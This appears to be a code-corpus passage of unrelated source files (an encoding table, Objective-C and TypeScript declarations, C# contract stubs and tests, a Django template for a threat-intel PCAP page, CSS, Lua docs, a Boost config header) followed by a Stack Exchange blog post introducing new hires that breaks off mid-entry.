0x255f: 0x00c7, # BOX DRAWINGS VERTICAL DOUBLE AND RIGHT SINGLE
0x2560: 0x00cc, # BOX DRAWINGS DOUBLE VERTICAL AND RIGHT
0x2561: 0x00b5, # BOX DRAWINGS VERTICAL SINGLE AND LEFT DOUBLE
0x2562: 0x00b6, # BOX DRAWINGS VERTICAL DOUBLE AND LEFT SINGLE
0x2563: 0x00b9, # BOX DRAWINGS DOUBLE VERTICAL AND LEFT
0x2564: 0x00d1, # BOX DRAWINGS DOWN SINGLE AND HORIZONTAL DOUBLE
0x2565: 0x00d2, # BOX DRAWINGS DOWN DOUBLE AND HORIZONTAL SINGLE
0x2566: 0x00cb, # BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL
0x2567: 0x00cf, # BOX DRAWINGS UP SINGLE AND HORIZONTAL DOUBLE
0x2568: 0x00d0, # BOX DRAWINGS UP DOUBLE AND HORIZONTAL SINGLE
0x2569: 0x00ca, # BOX DRAWINGS DOUBLE UP AND HORIZONTAL
0x256a: 0x00d8, # BOX DRAWINGS VERTICAL SINGLE AND HORIZONTAL DOUBLE
0x256b: 0x00d7, # BOX DRAWINGS VERTICAL DOUBLE AND HORIZONTAL SINGLE
0x256c: 0x00ce, # BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL
0x2580: 0x00df, # UPPER HALF BLOCK
0x2584: 0x00dc, # LOWER HALF BLOCK
0x2588: 0x00db, # FULL BLOCK
0x258c: 0x00dd, # LEFT HALF BLOCK
0x2590: 0x00de, # RIGHT HALF BLOCK
0x2591: 0x00b0, # LIGHT SHADE
0x2592: 0x00b1, # MEDIUM SHADE
0x2593: 0x00b2, # DARK SHADE
0x25a0: 0x00fe, # BLACK SQUARE
}
| Microvellum/Fluid-Designer | win64-vc/2.78/python/lib/encodings/cp437.py | Python | gpl-3.0 | 34,564 |
//******************************************************************************
//
// Copyright (c) 2015 Microsoft Corporation. All rights reserved.
//
// This code is licensed under the MIT License (MIT).
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
//******************************************************************************
// WindowsApplicationModelExtendedExecutionForeground.h
// Generated from winmd2objc
#pragma once
#include "interopBase.h"
@class WAEFExtendedExecutionForegroundRevokedEventArgs, WAEFExtendedExecutionForegroundSession;
@protocol WAEFIExtendedExecutionForegroundRevokedEventArgs, WAEFIExtendedExecutionForegroundSession;
// Windows.ApplicationModel.ExtendedExecution.Foreground.ExtendedExecutionForegroundResult
enum _WAEFExtendedExecutionForegroundResult {
WAEFExtendedExecutionForegroundResultAllowed = 0,
WAEFExtendedExecutionForegroundResultDenied = 1,
};
typedef unsigned WAEFExtendedExecutionForegroundResult;
// Windows.ApplicationModel.ExtendedExecution.Foreground.ExtendedExecutionForegroundRevokedReason
enum _WAEFExtendedExecutionForegroundRevokedReason {
WAEFExtendedExecutionForegroundRevokedReasonResumed = 0,
WAEFExtendedExecutionForegroundRevokedReasonSystemPolicy = 1,
};
typedef unsigned WAEFExtendedExecutionForegroundRevokedReason;
// Windows.ApplicationModel.ExtendedExecution.Foreground.ExtendedExecutionForegroundReason
enum _WAEFExtendedExecutionForegroundReason {
WAEFExtendedExecutionForegroundReasonUnspecified = 0,
WAEFExtendedExecutionForegroundReasonSavingData = 1,
WAEFExtendedExecutionForegroundReasonBackgroundAudio = 2,
WAEFExtendedExecutionForegroundReasonUnconstrained = 3,
};
typedef unsigned WAEFExtendedExecutionForegroundReason;
#include "WindowsFoundation.h"
#import <Foundation/Foundation.h>
// Windows.ApplicationModel.ExtendedExecution.Foreground.ExtendedExecutionForegroundRevokedEventArgs
#ifndef __WAEFExtendedExecutionForegroundRevokedEventArgs_DEFINED__
#define __WAEFExtendedExecutionForegroundRevokedEventArgs_DEFINED__
WINRT_EXPORT
@interface WAEFExtendedExecutionForegroundRevokedEventArgs : RTObject
@property (readonly) WAEFExtendedExecutionForegroundRevokedReason reason;
@end
#endif // __WAEFExtendedExecutionForegroundRevokedEventArgs_DEFINED__
// Windows.Foundation.IClosable
#ifndef __WFIClosable_DEFINED__
#define __WFIClosable_DEFINED__
@protocol WFIClosable
- (void)close;
@end
#endif // __WFIClosable_DEFINED__
// Windows.ApplicationModel.ExtendedExecution.Foreground.ExtendedExecutionForegroundSession
#ifndef __WAEFExtendedExecutionForegroundSession_DEFINED__
#define __WAEFExtendedExecutionForegroundSession_DEFINED__
WINRT_EXPORT
@interface WAEFExtendedExecutionForegroundSession : RTObject <WFIClosable>
+ (instancetype)create ACTIVATOR;
@property WAEFExtendedExecutionForegroundReason reason;
@property (copy) NSString * description;
- (EventRegistrationToken)addRevokedEvent:(void(^)(RTObject*, WAEFExtendedExecutionForegroundRevokedEventArgs*))del;
- (void)removeRevokedEvent:(EventRegistrationToken)tok;
- (void)requestExtensionAsyncWithSuccess:(void (^)(WAEFExtendedExecutionForegroundResult))success failure:(void (^)(NSError*))failure;
- (void)close;
@end
#endif // __WAEFExtendedExecutionForegroundSession_DEFINED__
| taoguan/WinObjC | include/Platform/Universal Windows/UWP/WindowsApplicationModelExtendedExecutionForeground.h | C | mit | 3,694 |
// Type definitions for React Router 4.0
// Project: https://github.com/ReactTraining/react-router
// Definitions by: Tanguy Krotoff <https://github.com/tkrotoff>
// Huy Nguyen <https://github.com/huy-nguyen>
// Definitions: https://github.com/DefinitelyTyped/DefinitelyTyped
// TypeScript Version: 2.3
declare module 'react-router-dom' {
import {
Prompt,
MemoryRouter,
Redirect,
RouteComponentProps,
RouteProps,
Route,
Router,
StaticRouter,
Switch,
match,
matchPath,
withRouter,
RouterChildContext
} from 'react-router';
import * as React from 'react';
import * as H from 'history';
interface BrowserRouterProps {
basename?: string;
getUserConfirmation?(): void;
forceRefresh?: boolean;
keyLength?: number;
}
class BrowserRouter extends React.Component<BrowserRouterProps> {}
interface HashRouterProps {
basename?: string;
getUserConfirmation?(): void;
hashType?: 'slash' | 'noslash' | 'hashbang';
}
class HashRouter extends React.Component<HashRouterProps> {}
interface LinkProps extends React.AnchorHTMLAttributes<HTMLAnchorElement> {
to: H.LocationDescriptor;
replace?: boolean;
}
class Link extends React.Component<LinkProps> {}
interface NavLinkProps extends LinkProps {
activeClassName?: string;
activeStyle?: React.CSSProperties;
exact?: boolean;
strict?: boolean;
isActive?<P>(match: match<P>, location: H.Location): boolean;
}
class NavLink extends React.Component<NavLinkProps> {}
export {
BrowserRouter,
BrowserRouterProps, // TypeScript specific, not from React Router itself
HashRouter,
HashRouterProps, // TypeScript specific, not from React Router itself
LinkProps, // TypeScript specific, not from React Router itself
NavLinkProps, // TypeScript specific, not from React Router itself
Link,
NavLink,
Prompt,
MemoryRouter,
Redirect,
RouteComponentProps, // TypeScript specific, not from React Router itself
RouteProps, // TypeScript specific, not from React Router itself
Route,
Router,
StaticRouter,
Switch,
match, // TypeScript specific, not from React Router itself
matchPath,
withRouter,
RouterChildContext
};
}
| abbasmhd/DefinitelyTyped | types/react-router-dom/index.d.ts | TypeScript | mit | 2,282 |
// CodeContracts
//
// Copyright (c) Microsoft Corporation
//
// All rights reserved.
//
// MIT License
//
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
// File System.Web.UI.WebControls.DetailsViewRowCollection.cs
// Automatically generated contract file.
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Diagnostics.Contracts;
using System;
// Disable the "this variable is not used" warning as every field would imply it.
#pragma warning disable 0414
// Disable the "this variable is never assigned to".
#pragma warning disable 0067
// Disable the "this event is never assigned to".
#pragma warning disable 0649
// Disable the "this variable is never used".
#pragma warning disable 0169
// Disable the "new keyword not required" warning.
#pragma warning disable 0109
// Disable the "extern without DllImport" warning.
#pragma warning disable 0626
// Disable the "could hide other member" warning, can happen on certain properties.
#pragma warning disable 0108
namespace System.Web.UI.WebControls
{
public partial class DetailsViewRowCollection : System.Collections.ICollection, System.Collections.IEnumerable
{
#region Methods and constructors
public void CopyTo(DetailsViewRow[] array, int index)
{
}
public DetailsViewRowCollection(System.Collections.ArrayList rows)
{
}
public System.Collections.IEnumerator GetEnumerator()
{
return default(System.Collections.IEnumerator);
}
void System.Collections.ICollection.CopyTo(Array array, int index)
{
}
#endregion
#region Properties and indexers
public int Count
{
get
{
return default(int);
}
}
public bool IsReadOnly
{
get
{
return default(bool);
}
}
public bool IsSynchronized
{
get
{
return default(bool);
}
}
public DetailsViewRow this [int index]
{
get
{
return default(DetailsViewRow);
}
}
public Object SyncRoot
{
get
{
return default(Object);
}
}
#endregion
}
}
| ndykman/CodeContracts | Microsoft.Research/Contracts/System.Web/Sources/System.Web.UI.WebControls.DetailsViewRowCollection.cs | C# | mit | 3,130 |
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
export const $COMPILE = '$compile';
export const $CONTROLLER = '$controller';
export const $DELEGATE = '$delegate';
export const $EXCEPTION_HANDLER = '$exceptionHandler';
export const $HTTP_BACKEND = '$httpBackend';
export const $INJECTOR = '$injector';
export const $INTERVAL = '$interval';
export const $PARSE = '$parse';
export const $PROVIDE = '$provide';
export const $ROOT_ELEMENT = '$rootElement';
export const $ROOT_SCOPE = '$rootScope';
export const $SCOPE = '$scope';
export const $TEMPLATE_CACHE = '$templateCache';
export const $TEMPLATE_REQUEST = '$templateRequest';
export const $$TESTABILITY = '$$testability';
export const COMPILER_KEY = '$$angularCompiler';
export const DOWNGRADED_MODULE_COUNT_KEY = '$$angularDowngradedModuleCount';
export const GROUP_PROJECTABLE_NODES_KEY = '$$angularGroupProjectableNodes';
export const INJECTOR_KEY = '$$angularInjector';
export const LAZY_MODULE_REF = '$$angularLazyModuleRef';
export const NG_ZONE_KEY = '$$angularNgZone';
export const UPGRADE_APP_TYPE_KEY = '$$angularUpgradeAppType';
export const REQUIRE_INJECTOR = '?^^' + INJECTOR_KEY;
export const REQUIRE_NG_MODEL = '?ngModel';
export const UPGRADE_MODULE_NAME = '$$UpgradeModule';
| mgechev/angular | packages/upgrade/src/common/src/constants.ts | TypeScript | mit | 1,403 |
{% extends "base.html" %}
{% load url from future %}
{% block title %} PCAP Detail {% endblock %}
{% block content %}
<script>
var pcap_md5 = "{{ pcap.md5 }}";
</script>
{% if pcap %}
<div id="tabnav" class="tabnav" style="font-size:90%;">
<ul style="font-size: 125%;">
<li><a href="#details_section" id="details_button"><span>Details</span></a></li>
<li><a href="#analysis_section" id="analysis_button"><span>Analysis ({{ service_results|length }})</span></a></li>
{% include 'services_tab_list_widget.html' %}
</ul>
<div id="details_section">
<span class="horizontal_menu">
<ul class="hmenu">
<li><a href="{% url 'crits.core.views.download_file' pcap.md5 %}?type=pcap">Download PCAP</a></li>
{% if admin %}
<li class="right"><a href="#" class="deleteClick" data-is-object="true" type="pcap" title="Delete PCAP" action='{% url "crits.pcaps.views.remove_pcap" pcap.md5 %}'>Delete PCAP</a></li>
{% endif %}
</ul>
</span>
<div class="content_box content_details">
<h3 class="titleheader">
<span>PCAP Details<span>
</h3>
<table class="vertical" width="100%">
<thead>
</thead>
<tbody>
<tr>
<td class='key'>ID</td>
<td>{{ pcap.id }}</td>
</tr>
<tr>
<td class='key'>Filename</td>
<td>{{ pcap.filename }}<a href="{% url 'crits.core.views.download_file' pcap.md5 %}?type=pcap"><div class="ui-icon ui-icon-disk download_file"></div></a></td>
</tr>
<tr>
<td class='key'>Created</td>
<td>{{ pcap.created }}</td>
</tr>
<tr>
<td class='key'>Length</td>
<td>{{ pcap.length }}</td>
</tr>
<tr>
<td class='key'>MD5</td>
<td>{{ pcap.md5 }}</td>
</tr>
<tr>
{% with description=pcap.description %}
{% include 'description_widget.html' %}
{% endwith %}
<tr>
<td class="key">Status
<span style="float: right;" class="object_status_response"></span>
</td>
<td>
<span class="edit" id="object_status" action="{% url 'crits.core.views.update_status' subscription.type subscription.id %}">{{pcap.status}}</span>
</td>
</tr>
{% with sectors=pcap.sectors %}
{% include "sector_widget.html" %}
{% endwith %}
</tr>
{% with sources=pcap.source obj_id=pcap.id obj_type=subscription.type %}
{% include "sources_listing_widget.html" %}
{% endwith %}
</tr>
<tr>
{% with releasability=pcap.releasability %}
{% include 'releasability_list_widget.html' %}
{% endwith %}
</tr>
</tbody>
</table>
</div>
<div id="detail_floaters">
{% include 'details_options_widget.html' %}
{% with bucket_list=pcap.bucket_list %}
{% include 'bucket_list_widget.html' %}
{% endwith %}
</div>
<div>
{% with obj=pcap obj_type=subscription.type %}
{% include 'tickets_listing_widget.html' %}
{% endwith %}
</div>
<div>
{% with hit=pcap col=COL_PCAPS %}
{% include "campaigns_display_widget.html" %}
{% endwith %}
</div>
<div>
{% with hit=pcap col=COL_PCAPS %}
{% include "locations_display_widget.html" %}
{% endwith %}
</div>
<div>
{% include 'relationships_listing_widget.html' %}
</div>
<div>
{% include 'objects_listing_widget.html' %}
</div>
<div>
{% include 'screenshot_widget.html' %}
</div>
<div>
{% include "comments_listing_widget.html" %}
</div>
</div>
{% with item=pcap %}
{% include "services_analysis_section.html" with crits_type="PCAP" identifier=pcap.md5 %}
{% endwith %}
{% include 'services_tab_tabs_widget.html' %}
</div>
{% else %}
<h3>PCAP not found. If you just uploaded a PCAP, try refreshing as the system might not have completed processing your upload yet.</h3>
{% endif %}
{% endblock %}
{% block javascript_includes %}
<script type="text/javascript" src="{{ STATIC_URL }}js/pcaps.js"></script>
{% endblock %}
| HardlyHaki/crits | crits/pcaps/templates/pcap_detail.html | HTML | mit | 4,462 |
// CodeContracts
//
// Copyright (c) Microsoft Corporation
//
// All rights reserved.
//
// MIT License
//
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
// File System.Web.UI.WebControls.SiteMapNodeItemEventArgs.cs
// Automatically generated contract file.
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Diagnostics.Contracts;
using System;
// Disable the "this variable is not used" warning as every field would imply it.
#pragma warning disable 0414
// Disable the "this variable is never assigned to".
#pragma warning disable 0067
// Disable the "this event is never assigned to".
#pragma warning disable 0649
// Disable the "this variable is never used".
#pragma warning disable 0169
// Disable the "new keyword not required" warning.
#pragma warning disable 0109
// Disable the "extern without DllImport" warning.
#pragma warning disable 0626
// Disable the "could hide other member" warning, can happen on certain properties.
#pragma warning disable 0108
namespace System.Web.UI.WebControls
{
public partial class SiteMapNodeItemEventArgs : EventArgs
{
#region Methods and constructors
public SiteMapNodeItemEventArgs(SiteMapNodeItem item)
{
}
#endregion
#region Properties and indexers
public SiteMapNodeItem Item
{
get
{
return default(SiteMapNodeItem);
}
}
#endregion
}
}
| ndykman/CodeContracts | Microsoft.Research/Contracts/System.Web/Sources/System.Web.UI.WebControls.SiteMapNodeItemEventArgs.cs | C# | mit | 2,391 |
---
layout: null
---
nav ul {
list-style-type: none;
margin: 2px 1em 2px 1em;
padding: 2px 1em 2px 1em;
}
nav ul li {
display: inline;
font-family: sans-serif;
font-weight: bold;
font-size: 16px;
background-color: rgb(249,249,249);
border-bottom-color: rgb(221, 221, 221);
line-height: 20.8px;
margin: 2px 1em 2px 1em;
padding: 2px 1em 2px 1em;
}
nav ul li a {
color: black;
}
nav ul li a:visited {
color: black;
}
nav ul li a:hover {
background-color: rgb(51, 136, 204);
color: white;
}
table {
border-collapse: collapse;
}
table tr td {
border: 1px solid black;
} | ucsb-cs16-s17/ucsb-cs16-s17.github.io | handout.css | CSS | mit | 656 |
using NUnit.Framework;
using RefactoringEssentials.CSharp.Diagnostics;
namespace RefactoringEssentials.Tests.CSharp.Diagnostics
{
[TestFixture]
public class ReplaceWithOfTypeLongCountTests : CSharpDiagnosticTestBase
{
[Test]
public void TestCaseBasic()
{
Analyze<ReplaceWithOfTypeLongCountAnalyzer>(@"using System.Linq;
class Test
{
public void Foo(object[] obj)
{
$obj.Select(q => q as Test).LongCount(q => q != null)$;
}
}", @"using System.Linq;
class Test
{
public void Foo(object[] obj)
{
obj.OfType<Test>().LongCount();
}
}");
}
[Test]
public void TestCaseBasicWithFollowUpExpresison()
{
Analyze<ReplaceWithOfTypeLongCountAnalyzer>(@"using System.Linq;
class Test
{
public void Foo(object[] obj)
{
$obj.Select(q => q as Test).LongCount(q => q != null && Foo(q))$;
}
}", @"using System.Linq;
class Test
{
public void Foo(object[] obj)
{
obj.OfType<Test>().LongCount(q => Foo(q));
}
}");
}
[Test]
public void TestDisable()
{
Analyze<ReplaceWithOfTypeLongCountAnalyzer>(@"using System.Linq;
class Test
{
public void Foo(object[] obj)
{
#pragma warning disable " + CSharpDiagnosticIDs.ReplaceWithOfTypeLongCountAnalyzerID + @"
obj.Select (q => q as Test).LongCount (q => q != null);
}
}");
}
[Test]
public void TestJunk()
{
Analyze<ReplaceWithOfTypeLongCountAnalyzer>(@"using System.Linq;
class Test
{
public void Foo(object[] obj)
{
obj.Select (x => q as Test).LongCount (q => q != null);
}
}");
Analyze<ReplaceWithOfTypeLongCountAnalyzer>(@"using System.Linq;
class Test
{
public void Foo(object[] obj)
{
obj.Select (q => q as Test).LongCount (q => 1 != null);
}
}");
}
}
}
| RemcovandenBerg/RefactoringEssentials | Tests/CSharp/Diagnostics/ReplaceWithOfTypeLongCountTests.cs | C# | mit | 1,883 |
//---------------------------------------------------------------------
// <copyright file="Northwind.NamedStreamPartial.cs" company="Microsoft">
// Copyright (C) Microsoft Corporation. All rights reserved. See License.txt in the project root for license information.
// </copyright>
//---------------------------------------------------------------------
namespace NorthwindModel
{
using System.Collections.Generic;
using System.Linq;
using Microsoft.OData.Client;
[NamedStream("Stream1")]
[NamedStream("Stream2")]
public partial class Customers : global::System.Data.Objects.DataClasses.EntityObject
{
}
[NamedStream("Stream3")]
[NamedStream("Stream4")]
public partial class Order_Details : global::System.Data.Objects.DataClasses.EntityObject
{
}
[NamedStream("Stream1")]
public partial class Orders : global::System.Data.Objects.DataClasses.EntityObject
{
}
}
| hotchandanisagar/odata.net | test/FunctionalTests/Tests/DataServices/Models/northwind/Northwind.NamedStreamPartial.cs | C# | mit | 973 |
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
namespace System.ServiceModel.Channels
{
public abstract class MessageEncodingBindingElement : BindingElement
{
protected MessageEncodingBindingElement()
{
}
protected MessageEncodingBindingElement(MessageEncodingBindingElement elementToBeCloned)
: base(elementToBeCloned)
{
}
public abstract MessageVersion MessageVersion { get; set; }
internal virtual bool IsWsdlExportable
{
get { return true; }
}
internal IChannelFactory<TChannel> InternalBuildChannelFactory<TChannel>(BindingContext context)
{
if (context == null)
{
throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("context"));
}
context.BindingParameters.Add(this);
return context.BuildInnerChannelFactory<TChannel>();
}
internal bool InternalCanBuildChannelFactory<TChannel>(BindingContext context)
{
if (context == null)
{
throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("context"));
}
context.BindingParameters.Add(this);
return context.CanBuildInnerChannelFactory<TChannel>();
}
public abstract MessageEncoderFactory CreateMessageEncoderFactory();
public override T GetProperty<T>(BindingContext context)
{
if (context == null)
{
throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("context");
}
if (typeof(T) == typeof(MessageVersion))
{
return (T)(object)this.MessageVersion;
}
else
{
return context.GetInnerProperty<T>();
}
}
internal virtual bool CheckEncodingVersion(EnvelopeVersion version)
{
return false;
}
internal override bool IsMatch(BindingElement b)
{
if (b == null)
return false;
MessageEncodingBindingElement encoding = b as MessageEncodingBindingElement;
if (encoding == null)
return false;
return true;
}
}
}
| banre123/wcf | src/System.Private.ServiceModel/src/System/ServiceModel/Channels/MessageEncodingBindingElement.cs | C# | mit | 2,483 |
--------------------------------
-- @module ParticleRain
-- @extend ParticleSystemQuad
-- @parent_module cc
--------------------------------
--
-- @function [parent=#ParticleRain] create
-- @param self
-- @return ParticleRain#ParticleRain ret (return value: cc.ParticleRain)
--------------------------------
--
-- @function [parent=#ParticleRain] createWithTotalParticles
-- @param self
-- @param #int numberOfParticles
-- @return ParticleRain#ParticleRain ret (return value: cc.ParticleRain)
return nil
| tangyiyang/v3quick-classic | quick/lib/lua_bindings/auto/api/ParticleRain.lua | Lua | mit | 528 |
// (C) Copyright John Maddock 2006.
// Use, modification and distribution are subject to the
// Boost Software License, Version 1.0. (See accompanying file
// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
// See http://www.boost.org for most recent version.
// GCC-XML C++ compiler setup:
# if !defined(__GCCXML_GNUC__) || ((__GCCXML_GNUC__ <= 3) && (__GCCXML_GNUC_MINOR__ <= 3))
# define BOOST_NO_IS_ABSTRACT
# endif
//
// Threading support: Turn this on unconditionally here (except for
// those platforms where we can know for sure). It will get turned off again
// later if no threading API is detected.
//
#if !defined(__MINGW32__) && !defined(_MSC_VER) && !defined(linux) && !defined(__linux) && !defined(__linux__)
# define BOOST_HAS_THREADS
#endif
//
// gcc has "long long"
//
#define BOOST_HAS_LONG_LONG
// C++0x features:
//
# define BOOST_NO_CXX11_CONSTEXPR
# define BOOST_NO_CXX11_NULLPTR
# define BOOST_NO_CXX11_TEMPLATE_ALIASES
# define BOOST_NO_CXX11_DECLTYPE
# define BOOST_NO_CXX11_DECLTYPE_N3276
# define BOOST_NO_CXX11_FUNCTION_TEMPLATE_DEFAULT_ARGS
# define BOOST_NO_CXX11_RVALUE_REFERENCES
# define BOOST_NO_CXX11_STATIC_ASSERT
# define BOOST_NO_CXX11_VARIADIC_TEMPLATES
# define BOOST_NO_CXX11_VARIADIC_MACROS
# define BOOST_NO_CXX11_AUTO_DECLARATIONS
# define BOOST_NO_CXX11_AUTO_MULTIDECLARATIONS
# define BOOST_NO_CXX11_CHAR16_T
# define BOOST_NO_CXX11_CHAR32_T
# define BOOST_NO_CXX11_DEFAULTED_FUNCTIONS
# define BOOST_NO_CXX11_DELETED_FUNCTIONS
# define BOOST_NO_CXX11_HDR_INITIALIZER_LIST
# define BOOST_NO_CXX11_SCOPED_ENUMS
# define BOOST_NO_SFINAE_EXPR
# define BOOST_NO_CXX11_EXPLICIT_CONVERSION_OPERATORS
# define BOOST_NO_CXX11_LAMBDAS
# define BOOST_NO_CXX11_LOCAL_CLASS_TEMPLATE_PARAMETERS
# define BOOST_NO_CXX11_RANGE_BASED_FOR
# define BOOST_NO_CXX11_RAW_LITERALS
# define BOOST_NO_CXX11_UNICODE_LITERALS
# define BOOST_NO_CXX11_NOEXCEPT
# define BOOST_NO_CXX11_UNIFIED_INITIALIZATION_SYNTAX
# define BOOST_NO_CXX11_USER_DEFINED_LITERALS
# define BOOST_NO_CXX11_ALIGNAS
# define BOOST_NO_CXX11_TRAILING_RESULT_TYPES
# define BOOST_NO_CXX11_INLINE_NAMESPACES
# define BOOST_NO_CXX11_REF_QUALIFIERS
# define BOOST_NO_CXX11_FINAL
# define BOOST_NO_CXX11_THREAD_LOCAL
// C++ 14:
#if !defined(__cpp_aggregate_nsdmi) || (__cpp_aggregate_nsdmi < 201304)
# define BOOST_NO_CXX14_AGGREGATE_NSDMI
#endif
#if !defined(__cpp_binary_literals) || (__cpp_binary_literals < 201304)
# define BOOST_NO_CXX14_BINARY_LITERALS
#endif
#if !defined(__cpp_constexpr) || (__cpp_constexpr < 201304)
# define BOOST_NO_CXX14_CONSTEXPR
#endif
#if !defined(__cpp_decltype_auto) || (__cpp_decltype_auto < 201304)
# define BOOST_NO_CXX14_DECLTYPE_AUTO
#endif
#if (__cplusplus < 201304) // There's no SD6 check for this....
# define BOOST_NO_CXX14_DIGIT_SEPARATORS
#endif
#if !defined(__cpp_generic_lambdas) || (__cpp_generic_lambdas < 201304)
# define BOOST_NO_CXX14_GENERIC_LAMBDAS
#endif
#if !defined(__cpp_init_captures) || (__cpp_init_captures < 201304)
# define BOOST_NO_CXX14_INITIALIZED_LAMBDA_CAPTURES
#endif
#if !defined(__cpp_return_type_deduction) || (__cpp_return_type_deduction < 201304)
# define BOOST_NO_CXX14_RETURN_TYPE_DEDUCTION
#endif
#if !defined(__cpp_variable_templates) || (__cpp_variable_templates < 201304)
# define BOOST_NO_CXX14_VARIABLE_TEMPLATES
#endif
#define BOOST_COMPILER "GCC-XML C++ version " __GCCXML__
| nginnever/zogminer | tests/deps/boost/config/compiler/gcc_xml.hpp | C++ | mit | 3,527 |
---
author: jhumphries
comments: true
date: 2013-09-25 21:19:51+00:00
layout: post
redirect_from: /2013/09/summer-hiring-happened-so-fast
slug: summer-hiring-happened-so-fast
title: Summer Hiring, Happened So Fast
wordpress_id: 14123
tags:
- company
- announcement
---
We've been busy! So busy, in fact, that this post only takes us through the hires we made in June and July. More announcements are coming soon ... in the meantime, get to know these 13 wonderful people who now call Stack Exchange home.
****
**Jon Ericson, Community Manager,** _Burbank, CA_
As an Air Force brat, Jon grew up all over the world but has lived in the Los Angeles area since attending UCLA, marrying his college sweetheart, and starting a family. He taught himself GW-BASIC on the family Tandy 1000, learned Pascal and FORTRAN in the classroom, C on the job, Perl on Usenet, and a bunch of other stuff on Stack Exchange. Fifteen years after getting his dream job subcontracting for NASA's Jet Propulsion Lab, he leaves with an unblemished record in terms of spacecraft unplanned planetary impact maneuvers. Read more about Jon [here](http://blog.stackoverflow.com/2013/08/please-welcome-jon-ericson-community-manager/).
****
**Dean Grant, Senior Account Executive (Ad Sales),** _New York_
Dean joined Stack Exchange this summer after spending 10 years in the _Wall Street Journal_’s ad sales department. Originally from Texas, Dean graduated from Iona college and now resides in Eastchester, NY with his wife and 2 kids (aged 17 and 15). For fun, Dean loves to go fishing, and he coaches his son’s baseball team in his spare time.
****
**Max Holley, Account Executive (Careers 2.0),** _Denver_
Max grew up in Austin, TX and survived on live music, breakfast tacos, and Tex-Mex. After graduating from Arizona State in 2009, he moved to Denver where he’s mostly lived ever since (excluding a brief stint in Florida). His career history is almost entirely in IT sales. Max’s hobbies include distance running, basketball, tennis, and biking.
****
**Joshua Hynes, Senior Product Designer,** _Mechanicsburg, PA_
After growing up with a love for art and problem-solving, Josh has been designing online experiences since 1999. After graduating from Cedarville University, he spent 10 years crafting experience for clients before joining Stack Exchange. A proud husband and father of 3, Josh enjoys reading books, listening to music, being involved at his church, watching baseball (especially the Boston Red Sox), and getting to know new people.
****
**Marvin Medrano, Kitchen Assistant,** _New York_
Marvin graduated from John Jay College. His past employers include East End Kitchen on the Upper East Side of Manhattan, where he met his current kitchen coworkers, Shanna Sobel and Philip Sireci. Marvin loves auto mechanics and custodial maintenance, and he has four beautiful little girls.
****
**Jessica Nothnagle, Sales Representative (Careers 2.0),** _Denver_
Jessica was born and raised in Rochester, NY and just recently made the move to Denver last July. Prior to Stack Exchange, she was working at Paychex for two years. She knew she wanted to relocate to Denver and all the cards fell into place when she got a promotion with Paychex that transferred her there. Outside of work, Jessica enjoys pretending she knows how to cook, hanging out with friends, and exploring all that her new city has to offer.
**Angela Nyman, EMEA Marketing Manager,** _London_
Angela was born and raised in Sweden but decided to leave it all behind at the age of 18. She lived in the US for a year before heading off to a private university in Italy. She worked as a marketing manager in Spain, France, and the UK, fitting in a couple of ski seasons in between, before deciding to travel the world. In 2009 she settled down in what is now properly her home: London! Angela has a background in marketing for the gaming industry, having run one of Europe's largest poker tours, The WPT, for years. She is super excited about taking on another challenge in a new industry doing what she loves. Outside of work, Angela loves exploring new places and doing everything yoga, fitness, mind & health related.
****
**Samo Prelog, Web Developer (Core),** _Ljutomer, Slovenia_
